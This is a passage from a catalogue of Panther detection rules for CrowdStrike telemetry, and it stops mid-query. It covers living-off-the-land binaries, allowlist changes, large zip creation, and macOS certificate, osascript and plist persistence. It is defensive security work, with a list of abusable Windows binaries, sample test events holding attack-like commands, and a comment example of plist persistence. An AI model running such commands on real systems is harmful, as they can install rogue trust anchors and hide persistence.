Crowdstrike FDR LOLBAS
#Living off the land binaries and script usage
Detection logic
from panther_crowdstrike_fdr_helpers import crowdstrike_process_alert_context
LOLBAS_EXE = {
"AppInstaller.exe",
"At.exe",
"Atbroker.exe",
"Bash.exe",
"Bitsadmin.exe",
"CertOC.exe",
"CertReq.exe",
"Certutil.exe",
"Cmd.exe",
"Cmdkey.exe",
"cmdl32.exe",
"Cmstp.exe",
"ConfigSecurityPolicy.exe",
"Conhost.exe",
"Control.exe",
"Csc.exe",
"Cscript.exe",
"CustomShellHost.exe",
"DataSvcUtil.exe",
"Desktopimgdownldr.exe",
"DeviceCredentialDeployment.exe",
"Dfsvc.exe",
"Diantz.exe",
"Diskshadow.exe",
"Dnscmd.exe",
"Esentutl.exe",
"Eventvwr.exe",
"Expand.exe",
"Explorer.exe",
"Extexport.exe",
"Extrac32.exe",
"Findstr.exe",
"Finger.exe",
"fltMC.exe",
"Forfiles.exe",
"Ftp.exe",
"Gpscript.exe",
"Hh.exe",
"IMEWDBLD.exe",
"Ie4uinit.exe",
"Ieexec.exe",
"Ilasm.exe",
"Infdefaultinstall.exe",
"Installutil.exe",
"Jsc.exe",
"Ldifde.exe",
"Makecab.exe",
"Mavinject.exe",
"Mmc.exe",
"MpCmdRun.exe",
"Msbuild.exe",
"Msconfig.exe",
"Msdt.exe",
"Msedge.exe",
"Mshta.exe",
"Msiexec.exe",
"Netsh.exe",
"Odbcconf.exe",
"OfflineScannerShell.exe",
"OneDriveStandaloneUpdater.exe",
"Pcalua.exe",
"Pcwrun.exe",
"Pktmon.exe",
"Pnputil.exe",
"Presentationhost.exe",
"Print.exe",
"PrintBrm.exe",
"Psr.exe",
"Rasautou.exe",
"rdrleakdiag.exe",
"Reg.exe",
"Regasm.exe",
"Regedit.exe",
"Regini.exe",
"Regsvcs.exe",
"Regsvr32.exe",
"Replace.exe",
"Rpcping.exe",
"Rundll32.exe",
"Runexehelper.exe",
"Runonce.exe",
"Runscripthelper.exe",
"Sc.exe",
"Schtasks.exe",
"Scriptrunner.exe",
"Setres.exe",
"SettingSyncHost.exe",
"ssh.exe",
"Stordiag.exe",
"SyncAppvPublishingServer.exe",
"Ttdinject.exe",
"Tttracer.exe",
"Unregmp2.exe",
"vbc.exe",
"Verclsid.exe",
"Wab.exe",
"winget.exe",
"Wlrmdr.exe",
"Wmic.exe",
"WorkFolders.exe",
"Wscript.exe",
"Wsreset.exe",
"wuauclt.exe",
"Xwizard.exe",
"fsutil.exe",
"wt.exe",
}
def rule(event):
if event.deep_get("event", "event_simpleName") == "ProcessRollup2":
if event.deep_get("event", "event_platform") == "Win":
exe = event.udm("process_name")
return bool(exe.lower() in [x.lower() for x in LOLBAS_EXE])
return False
def title(event):
exe = event.deep_get("event", "ImageFileName").split("\\")[-1]
return f'Crowdstrike: LOLBAS execution - [{exe}] - [{event.deep_get("event", "CommandLine")}]'
def dedup(event):
# dedup string on "{aid}-{exe}"
exe = event.udm("process_name")
return f'{event.deep_get("event", "aid")}-{exe}'
def alert_context(event):
return crowdstrike_process_alert_context(event)
Rule specification
AnalysisType: rule
LogTypes:
- Crowdstrike.FDREvent
RuleID: "Crowdstrike.FDR.LOLBAS"
DisplayName: "Crowdstrike FDR LOLBAS"
Description: "Living off the land binaries and script usage"
Reference: "https://lolbas-project.github.io/"
Threshold: 1
DedupPeriodMinutes: 1440
Enabled: false
Filename: crowdstrike_lolbas.py
Severity: Info
Tags:
- Configuration Required
Stages and Predicates
Fires on Crowdstrike.FDREvent events when all of the conditions below hold.
Condition
event.event_simpleNameisProcessRollup2event.event_platformisWin
This rule also runs imperative logic the parser cannot express as a filter. The conditions above are the structured part it could extract.
Indicators
These rows show field, operator, and value matches.
| Field | Kind | Values | Search |
|---|---|---|---|
event.event_platform | eq |
| field:"event.event_platform" kind:eq value:"Win" |
event.event_simpleName | eq |
| field:"event.event_simpleName" kind:eq value:"ProcessRollup2" |
Output fields
Fields the rule emits when it matches, drawn from the rule's alert_context.
| Field | Source |
|---|---|
aid | |
CommandLine | |
TargetProcessId | |
RawProcessId | |
ParentBaseFileName | |
ParentProcessId | |
ImageFileName | |
SHA256Hash | SHA256HashData |
platform | event_platform |
CommandLine | event.CommandLine |
Worked example
A sample event from the rule's unit tests that triggers a match.Sample Test Event
{
"ConfigBuild": "1007.3.0016606.11",
"ConfigStateHash": "3799024366",
"Entitlements": "15",
"TreeId": "4295752857",
"aid": "877761efa8db44d792ddc2redacted",
"aip": "1.1.1.1",
"cid": "cfe698690964434083fecdredacted",
"event": {
"AuthenticationId": "293628",
"CommandLine": "\"C:\\Windows\\System32\\at.exe\" at 09:00 /interactive /every:m,t,w,th,f,s,su",
"ConfigBuild": "1007.3.0016606.11",
"ConfigStateHash": "3799024366",
"EffectiveTransmissionClass": "2",
"Entitlements": "15",
"ImageFileName": "\\Device\\HarddiskVolume2\\Windows\\System32\\at.exe",
"ImageSubsystem": "3",
"IntegrityLevel": "12288",
"MD5HashData": "5fd22b915c232378e567160d641cc9f2",
"ParentAuthenticationId": "293628",
"ParentBaseFileName": "pwsh.exe",
"ParentProcessId": "4370948876",
"ProcessCreateFlags": "0",
"ProcessEndTime": "",
"ProcessParameterFlags": "24577",
"ProcessStartTime": "1682106508.209",
"ProcessSxsFlags": "64",
"RawProcessId": "2696",
"SHA1HashData": "0000000000000000000000000000000000000000",
"SHA256HashData": "488e74e2026d03f21b33f470c23b3de2f466643186c2e06ae7b4883cc2e59377",
"SessionId": "2",
"SourceProcessId": "4370948876",
"SourceThreadId": "6364981533",
"Tags": "25, 27, 151, 862, 874, 924, 12094627905582, 12094627906234, 237494511599633",
"TargetProcessId": "4389083225",
"TokenType": "1",
"TreeId": "4295752857",
"UserSid": "S-1-5-21-239183934-720705223-383019856-500",
"aid": "877761efa8db44d792ddc2redacted",
"aip": "1.1.1.1",
"cid": "cfe698690964434083fecdredacted",
"event_platform": "Win",
"event_simpleName": "ProcessRollup2",
"id": "9a920968-f200-4dd8-8696-461217ece967",
"name": "ProcessRollup2V19",
"timestamp": "1682106508970"
},
"event_platform": "Win",
"event_simpleName": "ProcessRollup2",
"fdr_event_type": "ProcessRollup2",
"id": "9a920968-f200-4dd8-8696-461217ece967",
"name": "ProcessRollup2V19",
"p_any_ip_addresses": [
"1.1.1.1"
],
"p_any_md5_hashes": [
"5fd22b915c232378e567160d641cc9f2",
"877761efa8db44d792ddc2redacted",
"cfe698690964434083fecdredacted"
],
"p_any_sha1_hashes": [
"0000000000000000000000000000000000000000"
],
"p_any_sha256_hashes": [
"488e74e2026d03f21b33f470c23b3de2f466643186c2e06ae7b4883cc2e59377"
],
"p_any_trace_ids": [
"4295752857",
"877761efa8db44d792ddc2redacted",
"cfe698690964434083fecdredacted"
],
"p_event_time": "2023-04-21 19:48:28.97",
"p_log_type": "Crowdstrike.FDREvent",
"p_parse_time": "2023-04-21 20:00:53.148",
"p_row_id": "7ac82dbb43a99bfec196bdda17ea7f",
"p_schema_version": 0,
"p_source_id": "1f33f64c-124d-413c-a9e3-d51ccedd8e77",
"p_source_label": "Crowdstrike-FDR-Dev",
"p_timeline": "2023-04-21 19:48:28.97",
"timestamp": "2023-04-21 19:48:28.97"
}
Crowdstrike IP Allowlist Changed
#Updates were made to Falcon console's allowlist. This could indicate a bad actor permitting access from another machine, or could be attackers preventing legitimate actors from accessing the console.
MITRE ATT&CK coverage
| Tactic | Techniques |
|---|---|
| Persistence | |
| Credential Access |
Detection logic
from panther_crowdstrike_event_streams_helpers import audit_keys_dict, cs_alert_context, str_to_list
def rule(event):
# Only alert if an allow list is created or edited
op_name = event.deep_get("event", "OperationName")
if op_name not in ("CreateAllowlistGroup", "UpdateAllowlistGroup"):
return False
return True
def title(event):
actor = event.deep_get("event", "UserId")
action = {
"CreateAllowlistGroup": "created a new",
"UpdateAllowlistGroup": "made changes to",
}.get(event.deep_get("event", "OperationName"))
group = audit_keys_dict(event).get("group_name", "UNKNWOWN GROUP")
return f"{actor} {action} Crowdstrike IP allowlist group: {group}"
def alert_context(event):
context = cs_alert_context(event)
# Be nice and concert the "lists" into actual lists so customers can easily process the alert
# context
for key in ("cidrs", "old_cidrs", "contexts", "old_contexts"):
if context.get(key):
try:
context[key] = str_to_list(context[key])
except ValueError:
pass # Just ignore if we can't unmarshal it
# Find out what entries were removed, and which were added
op_name = event.deep_get("event", "OperationName")
audit_keys = audit_keys_dict(event)
added_cidrs = []
removed_cidrs = []
added_contexts = []
removed_contexts = []
def getlist(key: str):
return str_to_list(audit_keys.get(key))
match op_name:
case "UpdateAllowlistGroup":
new_cidrs = getlist("cidrs")
old_cidrs = getlist("old_cidrs")
new_ctx = getlist("contexts")
old_ctx = getlist("old_contexts")
added_cidrs = get_unique_entries(new_cidrs, old_cidrs)
removed_cidrs = get_unique_entries(old_cidrs, new_cidrs)
added_contexts = get_unique_entries(new_ctx, old_ctx)
removed_contexts = get_unique_entries(old_ctx, new_ctx)
case "CreateAllowlistGroup":
added_cidrs = str_to_list(audit_keys.get("cidrs", []))
added_contexts = str_to_list(audit_keys.get("contexts", []))
context.update(
{
"changes": {
"cidr_added": added_cidrs,
"cidr_removed": removed_cidrs,
"context_added": added_contexts,
"context_removed": removed_contexts,
}
}
)
return context
def get_unique_entries(list1: list, list2: list) -> list:
"""Returns items in l1 that are not in l2."""
return list(set(list1) - set(list2))
Rule specification
AnalysisType: rule
Filename: crowdstrike_ip_allowlist_changed.py
RuleID: "Crowdstrike.IpAllowlistChanged"
DisplayName: "Crowdstrike IP Allowlist Changed"
Enabled: true
LogTypes:
- Crowdstrike.EventStreams
Severity: Info
CreateAlert: false
Reports:
MITRE ATT&CK:
- TA0003:T1556.009 # Persistsnce: Modify Authentication Process: Conditional Access Policies
- TA0005:T1556.009 # Defense Evasion: Modify Authentication Process: Conditional Access Policies
- TA0006:T1556.009 # Credential Access: Modify Authentication Process: Conditional Access Policies
Description: Updates were made to Falcon console's allowlist. This could indicate a bad actor permitting access from another machine, or could be attackers preventing legitimate actors from accessing the console.
DedupPeriodMinutes: 60
Threshold: 1
Runbook: Validate this action was authorized.
Stages and Predicates
Fires on Crowdstrike.EventStreams events when the condition below holds.
Condition
event.OperationNameis one ofCreateAllowlistGroup,UpdateAllowlistGroup
Indicators
These rows show field, operator, and value matches.
| Field | Kind | Values | Search |
|---|---|---|---|
event.OperationName | in |
| field:"event.OperationName" kind:in |
Output fields
Fields the rule emits when it matches, drawn from the rule's alert_context.
| Field | Source |
|---|---|
UserId | event.UserId |
Response runbook
Validate this action was authorized.
Worked example
A sample event from the rule's unit tests that triggers a match.Sample Test Event
{
"event": {
"AuditKeyValues": [
{
"Key": "allowlist_group_id",
"ValueString": "24821376-7e77-431e-9469-74846978fe64"
},
{
"Key": "group_name",
"ValueString": "example_group"
},
{
"Key": "description",
"ValueString": ""
},
{
"Key": "cidrs",
"ValueString": "[1.1.1.1]"
},
{
"Key": "contexts",
"ValueString": "[API]"
},
{
"Key": "active",
"ValueString": "false"
}
],
"OperationName": "CreateAllowlistGroup",
"ServiceName": "Crowdstrike Allowlist Management",
"Success": true,
"UTCTimestamp": "2024-07-26 16:13:13.000000000",
"UserId": "wormtongue@isengard.org",
"UserIp": "1.2.3.4"
},
"metadata": {
"customerIDString": "fake_cust_id",
"eventCreationTime": "2024-07-26 16:13:13.579000000",
"eventType": "AuthActivityAuditEvent",
"offset": 365164,
"version": "1.0"
}
}
CrowdStrike Large Zip Creation
#Detects creation of large zip files, which can indicate attempts of exfiltration
MITRE ATT&CK coverage
| Tactic | Techniques |
|---|---|
| Collection |
Rule specification
AnalysisType: scheduled_query
Description: Detects creation of large zip files, which can indicate attempts of exfiltration
Enabled: false
SnowflakeQuery: |
select
ppr.commandline as parent_commandline,
zip_proc.*
from
(
select
zips.*,
pr2.targetprocessid as process_targetpid,
pr2.parentprocessid as process_parentpid,
pr2.commandline as process_commandline
from
(
select
*
from
panther_logs.public.crowdstrike_unknown
where
event_simpleName IN (
'GzipFileWritten',
'SevenZipFileWritten',
'ZipFileWritten',
'BZip2FileWritten'
)
and p_occurs_since('1 day')
and CAST(unknown_payload:Size as integer) > 10000000
) zips
left join panther_logs.public.crowdstrike_processrollup2 pr2
on zips.ContextProcessId = pr2.targetprocessid
where
pr2.commandline like any(
'%zip%'
)
and not (
pr2.commandline like any (
'%curl%',
'/Application%',
'%install%'
)
)
) zip_proc
LEFT JOIN panther_logs.public.crowdstrike_processrollup2 ppr
on zip_proc.process_parentpid = ppr.targetprocessid
where
(
(parent_commandline is null) or
not (parent_commandline like any (
'%homebrew%',
'%Homebrew%',
'/Application%',
'%install%'
)
)
)
DatabricksQuery: |
select
ppr.commandline as parent_commandline,
zip_proc.*
from
(
select
zips.*,
pr2.targetprocessid as process_targetpid,
pr2.parentprocessid as process_parentpid,
pr2.commandline as process_commandline
from
(
select
*
from
panther_logs.crowdstrike_unknown
where
event_simpleName IN (
'GzipFileWritten',
'SevenZipFileWritten',
'ZipFileWritten',
'BZip2FileWritten'
)
and p_occurs_since('1 day')
and CAST(unknown_payload:Size as BIGINT) > 10000000
) zips
left join panther_logs.crowdstrike_processrollup2 pr2
on zips.ContextProcessId = pr2.targetprocessid
where
pr2.commandline LIKE '%zip%'
and not (
pr2.commandline LIKE '%curl%'
OR pr2.commandline LIKE '/Application%'
OR pr2.commandline LIKE '%install%'
)
) zip_proc
LEFT JOIN panther_logs.crowdstrike_processrollup2 ppr
on zip_proc.process_parentpid = ppr.targetprocessid
where
(
(parent_commandline is null) or
not (
parent_commandline LIKE '%homebrew%'
OR parent_commandline LIKE '%Homebrew%'
OR parent_commandline LIKE '/Application%'
OR parent_commandline LIKE '%install%'
)
)
QueryName: "CrowdStrike Large Zip Creation"
Schedule:
RateMinutes: 1440
TimeoutMinutes: 5
Stages and Predicates
Stage 1: source
Stage 2: filter
any of:
parent_commandlineis emptyall of:
parent_commandlinedoes not match the pattern*homebrew*parent_commandlinedoes not match the pattern*Homebrew*parent_commandlinedoes not match the pattern/Application*parent_commandlinedoes not match the pattern*install*
Indicators
These rows show field, operator, and value matches.
| Field | Kind | Values | Search |
|---|---|---|---|
parent_commandline | is_null | field:"parent_commandline" kind:is_null |
Output fields
Fields the rule emits when it matches, drawn from the rule's alert_context.
| Field | Source |
|---|---|
parent_commandline | ppr.commandline |
zip_proc . * |
CrowdStrike Large Zip Creation (crowdstrike_fdrevent table)
#Detects creation of large zip files, which can indicate attempts of exfiltration (crowdstrike_fdrevent table)
MITRE ATT&CK coverage
| Tactic | Techniques |
|---|---|
| Collection |
Rule specification
# This file is the part of the Crowdstrike FDREvent migration, and it's the equivalent of
# https://github.com/panther-labs/panther-analysis/blob/b61db1ecf3967c5f6a44c1782f8891fd5f54384d/queries/crowdstrike_queries/CrowdStrike_Large_Zip_Creation.yml
#
AnalysisType: scheduled_query
Description: Detects creation of large zip files, which can indicate attempts of exfiltration (crowdstrike_fdrevent table)
Enabled: false
SnowflakeQuery: |
select
ppr.event:CommandLine as parent_commandline,
zip_proc.*
from
(
select
zips.*,
pr2.event:TargetProcessId as process_targetpid,
pr2.event:ParentProcessId as process_parentpid,
pr2.event:CommandLine as process_commandline
from
(
select
*
from
panther_logs.public.crowdstrike_fdrevent
where
event_simpleName IN (
'GzipFileWritten',
'SevenZipFileWritten',
'ZipFileWritten',
'BZip2FileWritten'
)
and p_occurs_since('1 day')
and CAST(event:Size as integer) > 10000000
) zips
left join panther_logs.public.crowdstrike_fdrevent pr2
on zips.ContextProcessId = pr2.TargetProcessId_decimal and pr2.fdr_event_type = 'ProcessRollup2'
where
pr2.event:CommandLine like any(
'%zip%'
)
and not (
pr2.event:CommandLine like any (
'%curl%',
'/Application%',
'%install%'
)
)
) zip_proc
LEFT JOIN panther_logs.public.crowdstrike_fdrevent ppr
on zip_proc.process_parentpid = ppr.TargetProcessId_decimal and ppr.fdr_event_type = 'ProcessRollup2'
where
(
(parent_commandline is null) or
not (parent_commandline like any (
'%homebrew%',
'%Homebrew%',
'/Application%',
'%install%'
)
)
)
DatabricksQuery: |
select
ppr.event.CommandLine as parent_commandline,
zip_proc.*
from
(
select
zips.*,
pr2.event.TargetProcessId as process_targetpid,
pr2.event.ParentProcessId as process_parentpid,
pr2.event.CommandLine as process_commandline
from
(
select
*
from
panther_logs.crowdstrike_fdrevent
where
event_simpleName IN (
'GzipFileWritten',
'SevenZipFileWritten',
'ZipFileWritten',
'BZip2FileWritten'
)
and p_occurs_since('1 day')
and CAST(event:Size as BIGINT) > 10000000
) zips
left join panther_logs.crowdstrike_fdrevent pr2
on zips.ContextProcessId = pr2.TargetProcessId_decimal and pr2.fdr_event_type = 'ProcessRollup2'
where
pr2.event.CommandLine LIKE '%zip%'
and not (
pr2.event.CommandLine LIKE '%curl%'
OR pr2.event.CommandLine LIKE '/Application%'
OR pr2.event.CommandLine LIKE '%install%'
)
) zip_proc
LEFT JOIN panther_logs.crowdstrike_fdrevent ppr
on zip_proc.process_parentpid = ppr.TargetProcessId_decimal and ppr.fdr_event_type = 'ProcessRollup2'
where
(
(parent_commandline is null) or
not (
parent_commandline LIKE '%homebrew%'
OR parent_commandline LIKE '%Homebrew%'
OR parent_commandline LIKE '/Application%'
OR parent_commandline LIKE '%install%'
)
)
QueryName: "CrowdStrike Large Zip Creation (crowdstrike_fdrevent table)"
Schedule:
RateMinutes: 1440
TimeoutMinutes: 5
Stages and Predicates
Stage 1: source
Stage 2: filter
any of:
parent_commandlineis emptyall of:
parent_commandlinedoes not match the pattern*homebrew*parent_commandlinedoes not match the pattern*Homebrew*parent_commandlinedoes not match the pattern/Application*parent_commandlinedoes not match the pattern*install*
Indicators
These rows show field, operator, and value matches.
| Field | Kind | Values | Search |
|---|---|---|---|
parent_commandline | is_null | field:"parent_commandline" kind:is_null |
Output fields
Fields the rule emits when it matches, drawn from the rule's alert_context.
| Field | Source |
|---|---|
parent_commandline | ppr.event : CommandLine |
zip_proc . * |
CrowdStrike MacOS Added Trusted Cert
#Detects attempt to install a root certificate on MacOS
MITRE ATT&CK coverage
| Tactic | Techniques |
|---|---|
| Defense Impairment |
Detection logic
from panther_crowdstrike_fdr_helpers import crowdstrike_process_alert_context
def rule(event):
event_platform = event.get("event_platform", "<UNKNOWN_PLATFORM>")
fdr_event_type = event.get("fdr_event_type", "<UNKNOWN_FDR_EVENT_TYPE>")
image_filename = event.deep_get("event", "ImageFileName", default="<UNKNOWN_IMAGE_FILE_NAME>")
command_line = event.deep_get("event", "CommandLine", default="<UNKNOWN_COMMAND_LINE>")
return all(
[
event_platform == "Mac",
fdr_event_type == "ProcessRollup2",
image_filename == "/usr/bin/security",
"add-trusted-cert" in command_line,
]
)
def title(event):
host = event.get("ComputerName") or event.get("aid", "<AID_NOT_FOUND>")
return f"Crowdstrike: New trusted cert added on device [{host}]"
def alert_context(event):
return crowdstrike_process_alert_context(event)
Rule specification
AnalysisType: rule
DisplayName: CrowdStrike MacOS Added Trusted Cert
Description: Detects attempt to install a root certificate on MacOS
Enabled: true
Filename: crowdstrike_macos_add_trusted_cert.py
RuleID: Crowdstrike.Macos.Add.Trusted.Cert
Reference: https://docs.panther.com/data-onboarding/supported-logs/crowdstrike#crowdstrike.processrollup2
Severity: Medium
LogTypes:
- Crowdstrike.FDREvent
Stages and Predicates
Fires on Crowdstrike.FDREvent events when all of the conditions below hold.
Condition
event_platformisMacfdr_event_typeisProcessRollup2event.ImageFileNameis/usr/bin/securityevent.CommandLinecontainsadd-trusted-cert
Indicators
These rows show field, operator, and value matches.
| Field | Kind | Values | Search |
|---|---|---|---|
event.CommandLine | contains |
| field:"event.CommandLine" kind:contains value:"add-trusted-cert" |
event.ImageFileName | eq |
| field:"event.ImageFileName" kind:eq value:"/usr/bin/security" |
event_platform | eq |
| field:"event_platform" kind:eq value:"Mac" |
fdr_event_type | eq |
| field:"fdr_event_type" kind:eq value:"ProcessRollup2" |
Output fields
Fields the rule emits when it matches, drawn from the rule's alert_context.
| Field | Source |
|---|---|
aid | |
CommandLine | |
TargetProcessId | |
RawProcessId | |
ParentBaseFileName | |
ParentProcessId | |
ImageFileName | |
SHA256Hash | SHA256HashData |
platform | event_platform |
ComputerName |
Worked example
A sample event from the rule's unit tests that triggers a match.Sample Test Event
{
"aid": "1234abcdefghijklmnop",
"aip": "1.2.3.4",
"cid": "abcde098654321xyz",
"configbuild": "1007.4.0016804.11",
"configstatehash": "1260279761",
"entitlements": "15",
"event": {
"CodeSigningFlags": "570506001",
"CommandLine": "security add-trusted-cert -d -r trusted",
"ConfigBuild": "1007.4.0016804.11",
"ConfigStateHash": "1260279761",
"EffectiveTransmissionClass": "2",
"Entitlements": "15",
"GID": "20",
"ImageFileName": "/usr/bin/security",
"MD5HashData": "5a29b1ee210395604829dafd744a8039",
"MachOSubType": "1",
"ParentBaseFileName": "zsh",
"ParentProcessId": "488592041865603507",
"ProcessEndTime": "",
"ProcessGroupId": "488638905187012012",
"ProcessStartTime": "1685123957.068",
"RGID": "501",
"RUID": "501",
"RawProcessId": "51673",
"SHA1HashData": "0000000000000000000000000000000000000000",
"SHA256HashData": "fc708414b7e7c0df8d7711d0362b4dbd79a45fba65bdc646848fa8f50e9035de",
"SVGID": "20",
"SVUID": "501",
"SessionProcessId": "488592041748162994",
"SigningId": "com.apple.Foundation.plutil",
"SourceProcessId": "488592041865603507",
"SourceThreadId": "0",
"Tags": "316",
"TargetProcessId": "488638905187012012",
"TeamId": "-",
"UID": "501",
"aid": "1234abcdefghijklmnop",
"aip": "1.2.3.4",
"cid": "abcde098654321xyz",
"event_platform": "Mac",
"event_simpleName": "ProcessRollup2",
"id": "59c9d5fb-b9b7-43a3-913f-6df72d9e1969",
"name": "ProcessRollup2MacV9",
"timestamp": "1685123957235"
},
"event_platform": "Mac",
"event_simplename": "ProcessRollup2",
"fdr_event_type": "ProcessRollup2",
"id": "59c9d5fb-b9b7-43a3-913f-6df72d9e1969",
"name": "ProcessRollup2MacV9",
"p_any_ip_addresses": [
"1.2.3.4"
],
"p_any_md5_hashes": [
"1234abcdefghijklmnop",
"5a29b1ee210395604829dafd744a8039",
"abcde098654321xyz"
],
"p_any_sha1_hashes": [
"0000000000000000000000000000000000000000"
],
"p_any_sha256_hashes": [
"fc708414b7e7c0df8d7711d0362b4dbd79a45fba65bdc646848fa8f50e9035de"
],
"p_any_trace_ids": [
"1234abcdefghijklmnop",
"abcde098654321xyz"
],
"p_event_time": "2023-05-26 17:59:17.235",
"p_log_type": "Crowdstrike.FDREvent",
"p_parse_time": "2023-05-26 18:11:03.404",
"p_row_id": "d6ff1555b3f6e785b3e2bbb218abf524",
"p_schema_version": 0,
"p_source_id": "e4962678-a986-44af-a757-18163a2bc963",
"p_source_label": "Crowdstrike",
"timestamp": "2023-05-26 17:59:17.235"
}
CrowdStrike MacOS Osascript as Administrator
#Detects usage of osascript with administrator privileges
MITRE ATT&CK coverage
| Tactic | Techniques |
|---|---|
| Execution |
Detection logic
from panther_crowdstrike_fdr_helpers import crowdstrike_process_alert_context
def rule(event):
event_platform = event.get("event_platform", "<UNKNOWN_PLATFORM>")
event_simplename = event.get("event_simplename", "<UNKNOWN_EVENT_SIMPLENAME>")
image_filename = event.deep_get("event", "ImageFileName", default="<UNKNOWN_IMAGE_FILE_NAME>")
command_line = event.deep_get("event", "CommandLine", default="<UNKNOWN_COMMAND_LINE>")
return all(
[
event_platform == "Mac",
event_simplename == "ProcessRollup2",
image_filename == "/usr/bin/osascript",
"with administrator privileges" in command_line,
]
)
def title(event):
host = event.get("ComputerName") or event.get("aid", "<AID_NOT_FOUND>")
return f"Crowdstrike: Osascript run with administrator privileges on [{host}]"
def alert_context(event):
return crowdstrike_process_alert_context(event)
Rule specification
AnalysisType: rule
DisplayName: CrowdStrike MacOS Osascript as Administrator
Description: Detects usage of osascript with administrator privileges
Enabled: true
Filename: crowdstrike_macos_osascript_administrator.py
RuleID: Crowdstrike.Macos.Osascript.Administrator
Reference: https://www.sentinelone.com/blog/how-offensive-actors-use-applescript-for-attacking-macos/
Severity: Medium
LogTypes:
- Crowdstrike.FDREvent
Stages and Predicates
Fires on Crowdstrike.FDREvent events when all of the conditions below hold.
Condition
event_platformisMacevent_simplenameisProcessRollup2event.ImageFileNameis/usr/bin/osascriptevent.CommandLinecontainswith administrator privileges
Indicators
These rows show field, operator, and value matches.
| Field | Kind | Values | Search |
|---|---|---|---|
event.CommandLine | contains |
| field:"event.CommandLine" kind:contains value:"with administrator privileges" |
event.ImageFileName | eq |
| field:"event.ImageFileName" kind:eq value:"/usr/bin/osascript" |
event_platform | eq |
| field:"event_platform" kind:eq value:"Mac" |
event_simplename | eq |
| field:"event_simplename" kind:eq value:"ProcessRollup2" |
Output fields
Fields the rule emits when it matches, drawn from the rule's alert_context.
| Field | Source |
|---|---|
aid | |
CommandLine | |
TargetProcessId | |
RawProcessId | |
ParentBaseFileName | |
ParentProcessId | |
ImageFileName | |
SHA256Hash | SHA256HashData |
platform | event_platform |
ComputerName |
Worked example
A sample event from the rule's unit tests that triggers a match.Sample Test Event
{
"aid": "1234abcdefghijklmnop",
"aip": "1.2.3.4",
"cid": "abcde098654321xyz",
"configbuild": "1007.4.0016804.11",
"configstatehash": "1260279761",
"entitlements": "15",
"event": {
"CodeSigningFlags": "570506001",
"CommandLine": "osascript test.osa with administrator privileges",
"ConfigBuild": "1007.4.0016804.11",
"ConfigStateHash": "1260279761",
"EffectiveTransmissionClass": "2",
"Entitlements": "15",
"GID": "20",
"ImageFileName": "/usr/bin/osascript",
"MD5HashData": "5a29b1ee210395604829dafd744a8039",
"MachOSubType": "1",
"ParentBaseFileName": "zsh",
"ParentProcessId": "488592041865603507",
"ProcessEndTime": "",
"ProcessGroupId": "488638905187012012",
"ProcessStartTime": "1685123957.068",
"RGID": "501",
"RUID": "501",
"RawProcessId": "51673",
"SHA1HashData": "0000000000000000000000000000000000000000",
"SHA256HashData": "fc708414b7e7c0df8d7711d0362b4dbd79a45fba65bdc646848fa8f50e9035de",
"SVGID": "20",
"SVUID": "501",
"SessionProcessId": "488592041748162994",
"SigningId": "com.apple.Foundation.plutil",
"SourceProcessId": "488592041865603507",
"SourceThreadId": "0",
"Tags": "316",
"TargetProcessId": "488638905187012012",
"TeamId": "-",
"UID": "501",
"aid": "1234abcdefghijklmnop",
"aip": "1.2.3.4",
"cid": "abcde098654321xyz",
"event_platform": "Mac",
"event_simpleName": "ProcessRollup2",
"id": "59c9d5fb-b9b7-43a3-913f-6df72d9e1969",
"name": "ProcessRollup2MacV9",
"timestamp": "1685123957235"
},
"event_platform": "Mac",
"event_simplename": "ProcessRollup2",
"fdr_event_type": "ProcessRollup2",
"id": "59c9d5fb-b9b7-43a3-913f-6df72d9e1969",
"name": "ProcessRollup2MacV9",
"p_any_ip_addresses": [
"1.2.3.4"
],
"p_any_md5_hashes": [
"1234abcdefghijklmnop",
"5a29b1ee210395604829dafd744a8039",
"abcde098654321xyz"
],
"p_any_sha1_hashes": [
"0000000000000000000000000000000000000000"
],
"p_any_sha256_hashes": [
"fc708414b7e7c0df8d7711d0362b4dbd79a45fba65bdc646848fa8f50e9035de"
],
"p_any_trace_ids": [
"1234abcdefghijklmnop",
"abcde098654321xyz"
],
"p_event_time": "2023-05-26 17:59:17.235",
"p_log_type": "Crowdstrike.FDREvent",
"p_parse_time": "2023-05-26 18:11:03.404",
"p_row_id": "d6ff1555b3f6e785b3e2bbb218abf524",
"p_schema_version": 0,
"p_source_id": "e4962678-a986-44af-a757-18163a2bc963",
"p_source_label": "Crowdstrike",
"timestamp": "2023-05-26 17:59:17.235"
}
CrowdStrike MacOS plutil Novel Plist Modification
#Detects when plutil performs MODIFICATION operations (insert, replace, remove, create) on plist files it hasn't modified in the previous 30 days. Uses behavioral filtering to exclude read-only operations (convert, print, lint) that generate noise.
MITRE ATT&CK coverage
| Tactic | Techniques |
|---|---|
| Persistence | No specific technique |
Rule specification
AnalysisType: scheduled_query
QueryName: CrowdStrike MacOS plutil Novel Plist Modification
Enabled: false
Description: Detects when plutil performs MODIFICATION operations (insert, replace, remove, create) on plist files it hasn't modified in the previous 30 days. Uses behavioral filtering to exclude read-only operations (convert, print, lint) that generate noise.
Tags:
- Anomaly Detection
- CrowdStrike
- macOS
- Persistence
- T1547.011
Query: |-
-- pragma: template
{% import 'anomalies' new_unique_values %}
with subquery as (
SELECT
aid as device_id,
p_event_time,
event:CommandLine as command_line,
-- Extract plist file path from command line (robust extraction)
-- 1. Try regex match for absolute/relative paths ending in .plist
-- 2. Fall back to last space-delimited argument
-- 3. Strip quotes to handle: "/path with spaces/file.plist"
-- Handles: /Library/file.plist, ~/file.plist, "path with spaces.plist"
REPLACE(
REPLACE(
COALESCE(
REGEXP_SUBSTR(event:CommandLine, '[~/][^\\s]*\\.plist'),
SPLIT_PART(event:CommandLine, ' ', -1)
),
'"', ''
),
'''', ''
) as plist_file
FROM panther_logs.public.crowdstrike_fdrevent
WHERE
p_occurs_since('60 day')
AND event_platform = 'Mac'
AND fdr_event_type = 'ProcessRollup2'
AND event:ImageFileName = '/usr/bin/plutil'
-- BEHAVIORAL FILTERING: Focus on modification operations
-- Only alert on operations that CHANGE plists, not just read them
-- CAUGHT (modifications):
-- plutil -insert RunAtLoad -bool true file.plist
-- plutil --replace ProgramArguments -array /tmp/evil file.plist
-- plutil -remove SomeKey file.plist
-- plutil --create xml1 file.plist
-- FILTERED OUT (read-only):
-- plutil -convert binary1 file.plist (format conversion)
-- plutil -p file.plist (print/read)
-- plutil -lint file.plist (syntax check)
-- plutil -extract Key xml1 file.plist (read value)
-- Use ILIKE for case-insensitive matching (handles -INSERT, --Replace, etc.)
AND (
event:CommandLine ILIKE '%--insert%' -- Adding new keys
OR event:CommandLine ILIKE '%-insert%'
